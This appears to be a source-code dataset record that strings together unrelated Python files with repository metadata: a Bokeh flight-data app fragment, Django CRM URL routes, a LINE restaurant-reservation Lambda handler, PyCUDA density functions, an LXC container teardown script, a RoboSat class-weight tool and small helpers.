compare:",width=500, height=15) links_text = Div(text="<table width='100%'><tr><td><h3>" + "</h3></td><td align='left'>" + additional_links+"</td></tr></table>") datasource = ColumnDataSource(data = dict(time=[],sim=[],real=[],trend=[],position=[])) datasource.data = datalog tools = 'xpan,wheel_zoom,reset' ts1 = figure(plot_width=tplot_width, plot_height=tplot_height, tools=tools, x_axis_type='linear') # ts1.add_layout(Legend(), 'right') # if you want the legend outside of the plot print("real description", realdescription) ts1.line('time','sim', source=datasource, line_width=3, color="orange", legend_label="Simulated data: "+ simdescription) ts1.line('time','real', source=datasource, line_width=3, color="blue", legend_label="Real data: " + realdescription) ts1.line('time','trend', source=datasource, line_width=1, color="green", legend_label="Difference in trend (scaled)") ts1.line('time','position', source=datasource, line_width=1, color="red", line_dash = 'solid', legend_label="Difference in position (scaled)") ts1.legend.background_fill_alpha = 0.7 # make the background of the legend more transparent ts1.add_layout(Title(text="Time (seconds)", align="center"), "below") # annotation_counter = annotation_counter + 1 # increment the list of annotations # x_range_offset = (datalog.last_timestamp - datalog.start_timestamp) * 0.05 # x_range = Range1d(datalog.start_timestamp - x_range_offset, datalog.last_timestamp + x_range_offset) plot_flight_modes(sim_flight_mode_changes, 'sim') plot_flight_modes(real_flight_mode_changes, 'real') # set up layout widgets = column(datatype,stats,stats2) mission_button = column(mission_mode_button) normalize_button = column(normalize_mode_button) sim_button = column(sim_reverse_button) real_button = column(real_reverse_button) sswap_button = column(sim_swap_button) rswap_button = column(real_swap_button) rule = column(explainer) space = column(spacer) main_row = row(widgets) chart = column(ts1) buttons = column(mission_button, normalize_button, space, sim_button, sswap_button, rule, real_button, rswap_button) layout = column(main_row, chart, buttons) # initialize update() curdoc().add_root(intro_text) curdoc().add_root(links_text) curdoc().add_root(choose_field_text) curdoc().add_root(layout) curdoc().title = "Flight data" print("Now starting Thiel app") GET_arguments = curdoc().session_context.request.arguments config = read_settings() print("simname is", simname, "realname is", realname) if GET_arguments is not None and 'log' in GET_arguments: log_args = GET_arguments['log'] if len(log_args) == 1: templog_id = str(log_args[0], 'utf-8') file_details = templog_id.split('desc:') templog_id = file_details[0] if (templog_id.find("sim") != -1): log_id = templog_id.replace('sim','') print("This is a sim file. New log ID=", log_id) ulog_file_name = get_log_filename(log_id) simname = os.path.join(get_log_filepath(), ulog_file_name) simdescription = str(file_details[1]) elif (templog_id.find("real") != -1): log_id = templog_id.replace('real','') print("This is a real file. New log ID=", log_id) ulog_file_name = get_log_filename(log_id) realname = os.path.join(get_log_filepath(), ulog_file_name) realdescription = str(file_details[1]) else: if not validate_log_id(templog_id): raise ValueError('Invalid log id: {}'.format(log_id)) print('GET[log]={}'.format(templog_id)) ulog_file_name = get_log_filename(templog_id) get_thiel_analysis_plots(simname, realname)

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538

0.6547

3,694

27,466

4.634001

0.154304

0.014605

0.023835

0.00888

0.358745

0.29209

0.231452

0.212057

0.186646

0.160007

0

0.011825

0.245686

27,466

663

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41.426848

0.814413

0.137625

0

0.258189

0

0.007707

0.104175

0.00549

0.001927

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false

0.001927

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0.030829

0

null

0

null

0

1

0

c5c7806917d8c3147196ffa048e504ff3cd7f109

952

py

Python

leads/urls.py

imchandr/django-crm

67df86fa954101eabefdaa51cd4f718e9bb86be2

[ "MIT", "Unlicense" ]

null

leads/urls.py

imchandr/django-crm

67df86fa954101eabefdaa51cd4f718e9bb86be2

[ "MIT", "Unlicense" ]

1

2021-11-20T17:50:36.000Z

2021-11-20T17:51:05.000Z

leads/urls.py

imchandr/django-crm

67df86fa954101eabefdaa51cd4f718e9bb86be2

[ "MIT", "Unlicense" ]

null

from django.urls import path from .views import ( lead_create, lead_list, lead_details, lead_create,lead_update,lead_delete, LeadListView, LeadDetailsView, LeadCreateView, LeadUpdateView,LeadDeleteView, AssignAgentView, CategoryListView, # CategoryDetailView ) app_name = "leads" urlpatterns = [ path('',LeadListView.as_view(), name='lead-list'), path('create/', LeadCreateView.as_view(), name='lead-create'), path('<int:pk>',LeadDetailsView.as_view(), name='lead-details'), path('<int:pk>/assign-agent/',AssignAgentView.as_view(), name='assign-agent'), path('<int:pk>/update/',LeadUpdateView.as_view(), name='lead-update'), path('<int:pk>/delete/', LeadDeleteView.as_view(), name='lead-delete'), path('categories/', CategoryListView.as_view(), name='category-list'), #path('categories/<int:pk>/', CategoryDetailView.as_view(), name='category-detail'), ]

31.733333

88

0.676471

105

952

5.990476

0.314286

0.076312

0.127186

0.111288

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0.152311

952

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0.193396

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false

0

0.105263

0

0.105263

0

null

0

null

0

1

0

c5ca9a9099f02b0a997c7320aa921922873e7a7d

282

py

Python

exercise4-4.py

raygomez/python-exercise-4

5f4fdb23767f1cc04dc133497b866dfa9feeb7f9

[ "MIT" ]

null

exercise4-4.py

raygomez/python-exercise-4

5f4fdb23767f1cc04dc133497b866dfa9feeb7f9

[ "MIT" ]

null

exercise4-4.py

raygomez/python-exercise-4

5f4fdb23767f1cc04dc133497b866dfa9feeb7f9

[ "MIT" ]

null

from __future__ import print_function __author__ = 'ragomez' def f(data): mylist = xrange(0, data) for i in mylist: if ((i % 5) == 0) and ((i % 7) == 0): yield i number = int(raw_input('Enter a number:')) for num in f(number): print(num, end=',')

20.142857

45

0.570922

43

282

3.511628

0.674419

0

0.02439

0.27305

282

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20.142857

0.712195

0

0.081272

0

1

0.1

false

0

0.1

0

0.2

0

null

0

null

0

1

0

c5cace1f3781638ae4c1f8b7b3c9dd3d8c717941

624

py

Python

helpers/io_helper.py

muhlar/quant-reseach

b9f9a9cde94bf0ebb3d809240cc7542dfcbf7634

[ "MIT" ]

56

2019-06-14T18:05:28.000Z

2022-01-24T15:32:40.000Z

helpers/io_helper.py

muhlar/quant-reseach

b9f9a9cde94bf0ebb3d809240cc7542dfcbf7634

[ "MIT" ]

1

2020-04-01T09:31:04.000Z

2020-04-01T12:32:31.000Z

helpers/io_helper.py

muhlar/quant-reseach

b9f9a9cde94bf0ebb3d809240cc7542dfcbf7634

[ "MIT" ]

33

2019-06-19T13:27:31.000Z

2022-01-25T23:57:17.000Z

import os def check_path(path, create_if_not_exist=True): if not os.path.exists(path) and create_if_not_exist == True: os.makedirs(path) return True elif not os.path.exists(path) and create_if_not_exist == False: return False def list_files_in_path_os(path, filename_prefix="", filename_suffix="", recursive=True): while path[-1] == "/": path = path[:-1] all_files = [] for (dirpath, dirnames, fname) in os.walk(path): all_files.extend([dirpath + "/" + el for el in fname if filename_prefix in el and filename_suffix in el]) if recursive == False: break all_files = sorted(all_files) return all_files

32.842105

107

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102

624

4.215686

0.343137

0.093023

0.076744

0.111628

0.232558

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0.152244

624

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null

0

1

0

c5cc5404833e8916cb271ba99462a3cbdbb519ef

12,977

py

Python

backend/APP/reservation_put/reservation_put.py

cvc-Fujii/line-api-use-case-reservation-Restaurant

248ae2ed52d8325d17d2ddbbd2975068381193fe

[ "Unlicense" ]

8

2021-05-21T03:10:12.000Z

2022-01-09T10:10:26.000Z

backend/APP/reservation_put/reservation_put.py

cvc-Fujii/line-api-use-case-reservation-Restaurant

248ae2ed52d8325d17d2ddbbd2975068381193fe

[ "Unlicense" ]

null

backend/APP/reservation_put/reservation_put.py

cvc-Fujii/line-api-use-case-reservation-Restaurant

248ae2ed52d8325d17d2ddbbd2975068381193fe

[ "Unlicense" ]

4

2021-05-28T09:57:52.000Z

2021-09-27T12:25:54.000Z

import logging import json import os import datetime import flex_message_builder from common import (common_const, line, utils) from validation.restaurant_param_check import RestaurantParamCheck # DynamoDB操作クラスのインポート from common.channel_access_token import ChannelAccessToken from common.remind_message import RemindMessage from restaurant.restaurant_reservation_info import RestaurantReservationInfo from restaurant.restaurant_shop_reservation import RestaurantShopReservation from restaurant.restaurant_shop_master import RestaurantShopMaster # 環境変数 REMIND_DATE_DIFFERENCE = int(os.getenv('REMIND_DATE_DIFFERENCE')) CHANNEL_ID = os.getenv('OA_CHANNEL_ID') LIFF_CHANNEL_ID = os.getenv('LIFF_CHANNEL_ID') # ログ出力の設定 LOGGER_LEVEL = os.environ.get("LOGGER_LEVEL") logger = logging.getLogger() if LOGGER_LEVEL == 'DEBUG': logger.setLevel(logging.DEBUG) else: logger.setLevel(logging.INFO) # 定数の宣言 THIRTY_MINUTES = datetime.timedelta(minutes=30) ONE_WEEK = datetime.timedelta(days=7) JST_UTC_TIMEDELTA = datetime.timedelta(hours=9) VACANCY_FLG_MAP = {'AVAILABLE_NOTHING': 0, 'AVAILABLE_MUCH': 1, 'AVAILABLE_FEW': 2} RESERVED_PROPORTION_MAP = {'RESERVED_MUCH': 0.8, 'RESERVED_FULL': 1} ON_DAY_REMIND_DATE_DIFFERENCE = 0 # テーブル操作クラスの初期化 shop_master_table_controller = RestaurantShopMaster() reservation_info_table_controller = RestaurantReservationInfo() shop_reservation_table_controller = RestaurantShopReservation() channel_access_token_table_controller = ChannelAccessToken() message_table_controller = RemindMessage() def put_customer_reservation_info(body, shop_info): """ 顧客予約情報テーブルに予約情報の登録を行う。 Parameters ---------- body : dict ユーザーが選択した予約情報 shop_info: dict 予約する店舗の情報 Returns ------- reservation_id: str 予約情報を一意に判別するID """ customer_reservation_item = { "shop_id": body['shopId'], "shop_name": body['shopName'], "user_id": body['userId'], "user_name": body['userName'], "course_id": body['courseId'], "course_name": body['courseName'], "reservation_people_number": body['reservationPeopleNumber'], "reservation_date": body['reservationDate'], "reservation_starttime": body['reservationStarttime'], "reservation_endtime": body['reservationEndtime'], "amount": get_course_price(shop_info, body['courseId']), } reservation_id = reservation_info_table_controller.put_item( **customer_reservation_item) return reservation_id def get_course_price(shop_info, course_id): """ 店舗情報のテーブルから、コースの値段を取得する。 Parameters ---------- shop_info: dict shop_idを指定した取得した店舗の情報 course_id : int 予約するコースのID Returns ------- course_price: int コースの値段 """ course_price = [course_list['price'] for course_list in shop_info['course'] if course_list['courseId'] == course_id] if not course_price: return 0 return course_price[0] def put_shop_reservation_info(body, shop_info): """ カレンダーに予約情報を登録する。既に指定した月日に予約情報がある場合、Updateを行い、予約情報がない場合、Insertを行う。 Parameters ---------- body : dict ユーザーが選択した予約情報 shop_info: dict shop_idを指定した取得した店舗の情報 """ # shopIdと予約日でそのデータがあるか検索する reservation_item = shop_reservation_table_controller.get_item( body['shopId'], body['reservationDate']) new_reservation_list, new_total_reserved_number = divide_thirty_minutes( body['reservationStarttime'], body['reservationEndtime'], body['reservationPeopleNumber'] ) # 店舗の1日の予約可能人数を算出する計算:席数*営業時間の30分区切り openTime = datetime.datetime.strptime( shop_info['shop']['openTime'], "%H:%M") closeTime = datetime.datetime.strptime( shop_info['shop']['closeTime'], "%H:%M") restaurant_open_term = int((closeTime - openTime) / THIRTY_MINUTES) max_reservable_number = int( shop_info['shop']['seatsNumber']) * restaurant_open_term # if->指定した予約日に予約情報がある場合：更新 # else->指定した予約日に予約情報がない場合：新規作成 if reservation_item: # 新規データと元データを統合するため、重複している時間の検索用に # 予約開始時刻をkeyとして予約情報をvalueに持ったデータを作成する。 start_time_index = {} for reserved_time_info in reservation_item['reservedInfo']: start_time_index[reserved_time_info['reservedStartTime'] ] = reserved_time_info # if->予約がある時間帯：予約人数を足す # else->予約が無い時間帯：その時間を新たに追加する for new_reservation_info in new_reservation_list: reservation_start_time = new_reservation_info['reservedStartTime'] if reservation_start_time in start_time_index: start_time_index[reservation_start_time]['reservedNumber'] +=\ new_reservation_info['reservedNumber'] else: start_time_index[reservation_start_time] = new_reservation_info # 一日の予約合計数と席数に対する予約合計数の比率を算出する(カレンダーの空き状況出力時に使用) sum_total_reserved_number = reservation_item['totalReservedNumber'] + \ new_total_reserved_number reserved_proportion = sum_total_reserved_number / max_reservable_number key = { 'shop_id': body['shopId'], 'reserved_day': body['reservationDate'] } update_value = { 'reserved_info': list(start_time_index.values()), 'total_reserved_number': sum_total_reserved_number, 'vacancy_flg': get_vacancy_flg(reserved_proportion) } shop_reservation_table_controller.update_item(**key, **update_value) else: # 席数に対する予約合計数の比率を算出する(カレンダーの空き状況出力時に使用) reserved_proportion = new_total_reserved_number / max_reservable_number new_reservation_item = { 'shop_id': body['shopId'], 'reserved_day': body['reservationDate'], 'reserved_year_month': utils.format_date(body['reservationDate'], '%Y-%m-%d', '%Y-%m'), 'reserved_info': new_reservation_list, 'total_reserved_number': new_total_reserved_number, 'vacancy_flg': get_vacancy_flg(reserved_proportion), } shop_reservation_table_controller.put_item(**new_reservation_item) def divide_thirty_minutes(reservation_start_time, reservation_end_time, reservation_people_number): """ 数時間単位の予約情報を、30分単位の予約情報に分割し、listで返却する。データ:予約開始時間,予約終了時間,予約人数 Parameters ---------- reservation_start_time : str 予約の希望開始時間 reservation_end_time : str 予約の希望終了時間 reservation_people_number : int 予約人数 Returns ------- reservation_info_list: list 30分単位に分割された予約情報。すべての時間帯で、予約人数は同じになる。 total_people_number: int 30分ごとの予約人数の合計 """ start_time = datetime.datetime.strptime( reservation_start_time, "%H:%M") end_time = datetime.datetime.strptime( reservation_end_time, "%H:%M") thirty_minutes = datetime.timedelta(minutes=30) # 時間のデータを30分毎の時間に分割してリストを作成する。 reservation_info_list = [] tmp_start_time = start_time tmp_end_time = start_time + thirty_minutes total_people_number = 0 while tmp_end_time <= end_time: reservation_info = { 'reservedStartTime': tmp_start_time.strftime('%H:%M'), 'reservedEndTime': tmp_end_time.strftime('%H:%M'), 'reservedNumber': reservation_people_number } reservation_info_list.append(reservation_info) total_people_number += reservation_people_number tmp_start_time += thirty_minutes tmp_end_time += thirty_minutes return reservation_info_list, total_people_number def get_vacancy_flg(reserved_proportion): """ 予約割合から判断し、空き状況のフラグを取得する。 Parameters ---------- reserved_proportion : float 予約数/席数で計算した予約済み率 Returns ------- vacancy_flg: int 空き状況フラグ """ if(reserved_proportion < RESERVED_PROPORTION_MAP['RESERVED_MUCH']): vacancy_flg = VACANCY_FLG_MAP['AVAILABLE_MUCH'] elif(reserved_proportion >= RESERVED_PROPORTION_MAP['RESERVED_MUCH'] and reserved_proportion < RESERVED_PROPORTION_MAP['RESERVED_FULL']): vacancy_flg = VACANCY_FLG_MAP['AVAILABLE_FEW'] else: vacancy_flg = VACANCY_FLG_MAP['AVAILABLE_NOTHING'] return vacancy_flg def create_flex_message(body, remind_date_difference): """ LINEメッセージで送信するフレックスメッセージを作成する Parameters ---------- body : dict メッセージ送信にuser_id等の必要なデータ remind_date_difference : int リマインドを送信する日付と当日の差分 Returns ------- flex_message : str フレックスメッセージの形式に整形したjson型データ """ reservation_datetime = body['reservationDate'] + ' ' + \ body['reservationStarttime'] + '-' + body['reservationEndtime'] flex_prm = {'shop_name': body['shopName'], 'reservation_date': reservation_datetime, 'course_name': body['courseName'], 'number_of_people': str(body['reservationPeopleNumber']), 'remind_date_difference': remind_date_difference } flex_message = flex_message_builder.create_restaurant_remind(**flex_prm) return flex_message def get_channel_access_token(channel_id): """ 短期チャネルアクセストークンをチャネル情報のテーブルから取得する Parameters ---------- channel_id : str LINE公式アカウントもしくはMINIアプリのチャネルID LINE Developersコンソールにて確認可能 Returns ------- channelAccessToken : str access_token:短期のチャネルアクセストークン """ item = channel_access_token_table_controller.get_item(channel_id) return item['channelAccessToken'] def put_push_messages_to_dynamo(body, remind_date_difference): """ プッシュメッセージのメッセージ情報を作成し、DynamoDBに登録する。 DynamoDBへの登録処理自体は共通処理にて行っている。 Parameters ---------- body : dict フロントから渡ってきたパラメータ remind_date_difference : int 当日以前のリマインド行う日付の差分予約日以降のメッセージ送信を考慮し、マイナス値を許可（ex:3日前→-3） """ remind_date_on_day = body['reservationDate'] # 当日のリマインドメッセージを登録 flex_message_on_day = create_flex_message(body, ON_DAY_REMIND_DATE_DIFFERENCE) # noqa:E501 message_table_controller.put_push_message( body['userId'], CHANNEL_ID, flex_message_on_day, remind_date_on_day) # 指定日のリマインドメッセージを登録 flex_message_day_before = create_flex_message(body, remind_date_difference) # noqa:E501 remind_date_day_before = utils.calculate_date_str_difference( remind_date_on_day, remind_date_difference) message_table_controller.put_push_message( body['userId'], CHANNEL_ID, flex_message_day_before, remind_date_day_before) def lambda_handler(event, context): """ 予約情報のデータ登録とLINEメッセージの送信を行う。 Parameters ---------- event : dict フロントから送られたパラメータ等の情報 context : __main__.LambdaContext Lambdaランタイムや関数名等のメタ情報 Returns ------- response: dict 正常の場合、予約IDを返却する。エラーの場合、エラーコードとエラーメッセージを返却する。 """ # パラメータログ logger.info(event) if event['body'] is None: error_msg_disp = common_const.const.MSG_ERROR_NOPARAM return utils.create_error_response(error_msg_disp, 400) body = json.loads(event['body']) #ユーザーID取得 try: user_profile = line.get_profile( body['idToken'], LIFF_CHANNEL_ID) if 'error' in user_profile and 'expired' in user_profile['error_description']: # noqa 501 return utils.create_error_response('Forbidden', 403) else: body['userId'] = user_profile['sub'] except Exception: logger.exception('不正なIDトークンが使用されています') return utils.create_error_response('Error') # パラメータチェック param_checker = RestaurantParamCheck(body) if error_msg := param_checker.check_api_reservation_put(): error_msg_disp = ('\n').join(error_msg) logger.error(error_msg_disp) return utils.create_error_response(error_msg_disp, 400) try: # 予約情報のデータ登録 shop_info = shop_master_table_controller.get_item(body['shopId']) put_shop_reservation_info(body, shop_info) reservation_id = put_customer_reservation_info(body, shop_info) # pushメッセージをDynamoに保存 put_push_messages_to_dynamo(body, REMIND_DATE_DIFFERENCE) except Exception as e: logger.error('Occur Exception: %s', e) return utils.create_error_response('ERROR') return utils.create_success_response( json.dumps({'reservationId': reservation_id}))

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null

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c5cc5c90cc24e579e7e39dd76fdb62ea4b310c1d

8,710

py

Python

gpustats/pdfs.py

dukestats/gpustats

570fdeb4d1da204b1e56717ba29db07a08be8629

[ "BSD-3-Clause" ]

23

2015-02-01T23:46:52.000Z

2021-01-13T18:07:47.000Z

gpustats/pdfs.py

dukestats/gpustats

570fdeb4d1da204b1e56717ba29db07a08be8629

[ "BSD-3-Clause" ]

null

gpustats/pdfs.py

dukestats/gpustats

570fdeb4d1da204b1e56717ba29db07a08be8629

[ "BSD-3-Clause" ]

6

2015-06-18T10:23:59.000Z

2020-05-05T22:32:40.000Z

from numpy.random import randn from numpy.linalg import cholesky as chol import numpy as np import numpy.linalg as LA from pycuda.gpuarray import GPUArray, to_gpu from pycuda.gpuarray import empty as gpu_empty import gpustats.kernels as kernels import gpustats.codegen as codegen from gpustats.util import transpose as gpu_transpose reload(codegen) reload(kernels) import gpustats.util as util import pycuda.driver as drv __all__ = ['mvnpdf', 'mvnpdf_multi', 'normpdf', 'normpdf_multi'] cu_module = codegen.get_full_cuda_module() #------------------------------------------------------------------------------- # Invokers for univariate and multivariate density functions conforming to the # standard API def _multivariate_pdf_call(cu_func, data, packed_params, get, order, datadim=None): packed_params = util.prep_ndarray(packed_params) func_regs = cu_func.num_regs # Prep the data. Skip if gpudata ... if isinstance(data, GPUArray): padded_data = data if datadim==None: ndata, dim = data.shape else: ndata, dim = data.shape[0], datadim else: ndata, dim = data.shape padded_data = util.pad_data(data) nparams = len(packed_params) data_per, params_per = util.tune_blocksize(padded_data, packed_params, func_regs) blocksize = data_per * params_per #print 'the blocksize is ' + str(blocksize) #print 'data_per ' + str(data_per) + '. params_per ' + str(params_per) shared_mem = util.compute_shmem(padded_data, packed_params, data_per, params_per) block_design = (data_per * params_per, 1, 1) grid_design = (util.get_boxes(ndata, data_per), util.get_boxes(nparams, params_per)) # see cufiles/mvcaller.cu design = np.array(((data_per, params_per) + # block design padded_data.shape + # data spec (dim,) + # non-padded number of data columns packed_params.shape), # params spec dtype=np.int32) if nparams == 1: gpu_dest = gpu_empty(ndata, dtype=np.float32) #gpu_dest = to_gpu(np.zeros(ndata, dtype=np.float32)) else: gpu_dest = gpu_empty((ndata, nparams), dtype=np.float32, order='F') #gpu_dest = to_gpu(np.zeros((ndata, nparams), dtype=np.float32, order='F')) # Upload data if not already uploaded if not isinstance(padded_data, GPUArray): gpu_padded_data = to_gpu(padded_data) else: gpu_padded_data = padded_data gpu_packed_params = to_gpu(packed_params) params = (gpu_dest, gpu_padded_data, gpu_packed_params) + tuple(design) kwds = dict(block=block_design, grid=grid_design, shared=shared_mem) cu_func(*params, **kwds) gpu_packed_params.gpudata.free() if get: if order=='F': return gpu_dest.get() else: return np.asarray(gpu_dest.get(), dtype=np.float32, order='C') #output = gpu_dest.get() #if nparams > 1: # output = output.reshape((nparams, ndata), order='C').T #return output else: if order=='F' or nparams==1: return gpu_dest else: res = gpu_transpose(util.GPUarray_reshape(gpu_dest, (nparams, ndata), "C")) gpu_dest.gpudata.free() return res #return gpu_transpose(gpu_dest.reshape(nparams, ndata, 'C')) def _univariate_pdf_call(cu_func, data, packed_params, get): ndata = len(data) nparams = len(packed_params) func_regs = cu_func.num_regs packed_params = util.prep_ndarray(packed_params) data_per, params_per = util.tune_blocksize(data, packed_params, func_regs) shared_mem = util.compute_shmem(data, packed_params, data_per, params_per) block_design = (data_per * params_per, 1, 1) grid_design = (util.get_boxes(ndata, data_per), util.get_boxes(nparams, params_per)) # see cufiles/univcaller.cu #gpu_dest = to_gpu(np.zeros((ndata, nparams), dtype=np.float32)) gpu_dest = gpu_empty((ndata, nparams), dtype=np.float32) gpu_data = data if isinstance(data, GPUArray) else to_gpu(data) gpu_packed_params = to_gpu(packed_params) design = np.array(((data_per, params_per) + # block design (len(data),) + packed_params.shape), # params spec dtype=np.int32) cu_func(gpu_dest, gpu_data, gpu_packed_params, design[0], design[1], design[2], design[3], design[4], block=block_design, grid=grid_design, shared=shared_mem) if get: output = gpu_dest.get() if nparams > 1: output = output.reshape((nparams, ndata), order='C').T return output else: return gpu_dest #------------------------------------------------------------------------------- # Multivariate normal def mvnpdf(data, mean, cov, weight=None, logged=True, get=True, order="F", datadim=None): """ Multivariate normal density Parameters ---------- Returns ------- """ return mvnpdf_multi(data, [mean], [cov], logged=logged, get=get, order=order, datadim=datadim).squeeze() def mvnpdf_multi(data, means, covs, weights=None, logged=True, get=True, order="F", datadim=None): """ Multivariate normal density with multiple sets of parameters Parameters ---------- data : ndarray (n x k) covs : sequence of 2d k x k matrices (length j) weights : ndarray (length j) Multiplier for component j, usually will sum to 1 get = False leaves the result on the GPU without copying back. If data has already been padded, the orginal dimension must be passed in datadim It data is of GPUarray type, the data is assumed to be padded, and datadim will need to be passed if padding was needed. Returns ------- densities : n x j """ if logged: cu_func = cu_module.get_function('log_pdf_mvnormal') else: cu_func = cu_module.get_function('pdf_mvnormal') assert(len(covs) == len(means)) ichol_sigmas = [LA.inv(chol(c)) for c in covs] logdets = [-2.0*np.log(c.diagonal()).sum() for c in ichol_sigmas] if weights is None: weights = np.ones(len(means)) packed_params = _pack_mvnpdf_params(means, ichol_sigmas, logdets, weights) return _multivariate_pdf_call(cu_func, data, packed_params, get, order,datadim) def _pack_mvnpdf_params(means, ichol_sigmas, logdets, weights): to_pack = [] for m, ch, ld, w in zip(means, ichol_sigmas, logdets, weights): to_pack.append(_pack_mvnpdf_params_single(m, ch, ld, w)) return np.vstack(to_pack) def _pack_mvnpdf_params_single(mean, ichol_sigma, logdet, weight=1): PAD_MULTIPLE = 16 k = len(mean) mean_len = k ichol_len = k * (k + 1) / 2 mch_len = mean_len + ichol_len packed_dim = util.next_multiple(mch_len + 2, PAD_MULTIPLE) packed_params = np.empty(packed_dim, dtype=np.float32) packed_params[:mean_len] = mean packed_params[mean_len:mch_len] = ichol_sigma[np.tril_indices(k)] packed_params[mch_len:mch_len + 2] = weight, logdet return packed_params #------------------------------------------------------------------------------- # Univariate normal def normpdf(x, mean, std, logged=True, get=True): """ Normal (Gaussian) density Parameters ---------- Returns ------- """ return normpdf_multi(x, [mean], [std], logged=logged, get=get).squeeze() def normpdf_multi(x, means, std, logged=True, get=True): if logged: cu_func = cu_module.get_function('log_pdf_normal') else: cu_func = cu_module.get_function('pdf_normal') packed_params = np.c_[means, std] if not isinstance(x, GPUArray): x = util.prep_ndarray(x) return _univariate_pdf_call(cu_func, x, packed_params, get) if __name__ == '__main__': import gpustats.compat as compat n = 1e5 k = 8 np.random.seed(1) data = randn(n, k).astype(np.float32) mean = randn(k).astype(np.float32) cov = util.random_cov(k).astype(np.float32) result = mvnpdf_multi(data, [mean, mean], [cov, cov]) # pyresult = compat.python_mvnpdf(data, [mean], [cov]).squeeze() # print result - pyresult

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0.206452

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null

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null

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1

0

c5cd7df99f005e209b5f37b4b931f77cc897a454

2,950

py

Python

scripts/python/teardown_deployer_container.py

rbrud/power-up

c0d59a79ad9c713d94da73395a5fd768fcfff838

[ "Apache-2.0" ]

null

scripts/python/teardown_deployer_container.py

rbrud/power-up

c0d59a79ad9c713d94da73395a5fd768fcfff838

[ "Apache-2.0" ]

null

scripts/python/teardown_deployer_container.py

rbrud/power-up

c0d59a79ad9c713d94da73395a5fd768fcfff838

[ "Apache-2.0" ]

null

#!/usr/bin/env python # Copyright 2018 IBM Corp. # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import nested_scopes, generators, division, absolute_import, \ with_statement, print_function, unicode_literals import argparse import os.path import sys from subprocess import Popen, PIPE from lib.config import Config from lib.exception import UserException from lib.genesis import DEFAULT_CONTAINER_NAME, GEN_PATH import lib.logger as logger def _sub_proc_exec(cmd): data = Popen(cmd.split(), stdout=PIPE, stderr=PIPE) stdout, stderr = data.communicate() return stdout, stderr def teardown_deployer_container(config_path): """Teardown the Cluster Genesis container on the deployer. This function is idempotent. """ log = logger.getlogger() try: cfg = Config(config_path) except UserException: log.error('Unable to open Cluster Genesis config.yml file') sys.exit(1) for vlan in cfg.yield_depl_netw_client_vlan('pxe'): break name = '{}-pxe{}'.format(DEFAULT_CONTAINER_NAME, vlan) container_list, stderr = _sub_proc_exec('lxc-ls') log.info('Found containers: {}'.format(container_list)) if name not in container_list: log.info('container name: {} does not exist.'.format(name)) else: log.info('Destroying container: {}'.format(name)) result, stderr = _sub_proc_exec('lxc-stop -n {}'.format(name)) result, stderr = _sub_proc_exec('lxc-destroy -s -n {}'.format(name)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('config_path', default='config.yml', help='Config file path. Absolute path or relative ' 'to power-up/') parser.add_argument('--print', '-p', dest='log_lvl_print', help='print log level', default='info') parser.add_argument('--file', '-f', dest='log_lvl_file', help='file log level', default='info') args = parser.parse_args() if not os.path.isfile(args.config_path): args.config_path = GEN_PATH + args.config_path print('Using config path: {}'.format(args.config_path)) if not os.path.isfile(args.config_path): sys.exit('{} does not exist'.format(args.config_path)) logger.create(args.log_lvl_print, args.log_lvl_file) teardown_deployer_container(args.config_path)

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0.689831

401

2,950

4.905237

0.418953

0.055923

0.049822

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0.078292

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0.00382

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2,950

84

79

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0

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0.244898

0.102041

0

null

0

null

0

1

0

c5cf62bcfc6f390b8547295d8aba6cd8cecf7a30

1,808

py

Python

robosat/tools/weights.py

jjmata/robosat

6b38bcf5cbf13bf79c06624d30600df12cfdd486

[ "MIT" ]

2

2018-08-05T04:35:41.000Z

2019-01-15T02:41:37.000Z

robosat/tools/weights.py

jjmata/robosat

6b38bcf5cbf13bf79c06624d30600df12cfdd486

[ "MIT" ]

null

robosat/tools/weights.py

jjmata/robosat

6b38bcf5cbf13bf79c06624d30600df12cfdd486

[ "MIT" ]

1

2021-02-22T20:58:34.000Z

import os import argparse import numpy as np from tqdm import tqdm import torch from torch.utils.data import DataLoader from torchvision.transforms import Compose from robosat.config import load_config from robosat.datasets import SlippyMapTiles from robosat.transforms import ConvertImageMode, MaskToTensor def add_parser(subparser): parser = subparser.add_parser( "weights", help="computes class weights on dataset", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) parser.add_argument("--dataset", type=str, required=True, help="path to dataset configuration file") parser.set_defaults(func=main) def main(args): dataset = load_config(args.dataset) path = dataset["common"]["dataset"] num_classes = len(dataset["common"]["classes"]) train_transform = Compose([ConvertImageMode(mode="P"), MaskToTensor()]) train_dataset = SlippyMapTiles(os.path.join(path, "training", "labels"), transform=train_transform) n = 0 counts = np.zeros(num_classes, dtype=np.int64) loader = DataLoader(train_dataset, batch_size=1) for images, tile in tqdm(loader, desc="Loading", unit="image", ascii=True): image = torch.squeeze(images) image = np.array(image, dtype=np.uint8) n += image.shape[0] * image.shape[1] counts += np.bincount(image.ravel(), minlength=num_classes) # Class weighting scheme `w = 1 / ln(c + p)` see: # - https://arxiv.org/abs/1707.03718 # LinkNet: Exploiting Encoder Representations for Efficient Semantic Segmentation # - https://arxiv.org/abs/1606.02147 # ENet: A Deep Neural Network Architecture for Real-Time Semantic Segmentation probs = counts / n weights = 1 / np.log(1.02 + probs) weights.round(6, out=weights) print(weights.tolist())

31.172414

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1,808

5.513043

0.530435

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0.020505

0.025237

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1,808

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0.029412

0

null

0

null

0

1

0

c5cfe67a66b476f28011597c8c7dca4079459b75

1,807

py

Python

tests/writers/test_csv_writer.py

cnHeider/draugr

b95e0bb1fa5efa581bfb28ff604f296ed2e6b7d6

[ "Apache-2.0" ]

3

2019-09-27T08:04:59.000Z

2020-12-02T06:14:45.000Z

tests/writers/test_csv_writer.py

cnHeider/draugr

b95e0bb1fa5efa581bfb28ff604f296ed2e6b7d6

[ "Apache-2.0" ]

64

2019-09-27T08:03:42.000Z

2022-03-28T15:07:30.000Z

tests/writers/test_csv_writer.py

cnHeider/draugr

b95e0bb1fa5efa581bfb28ff604f296ed2e6b7d6

[ "Apache-2.0" ]

1

2020-10-01T00:18:57.000Z

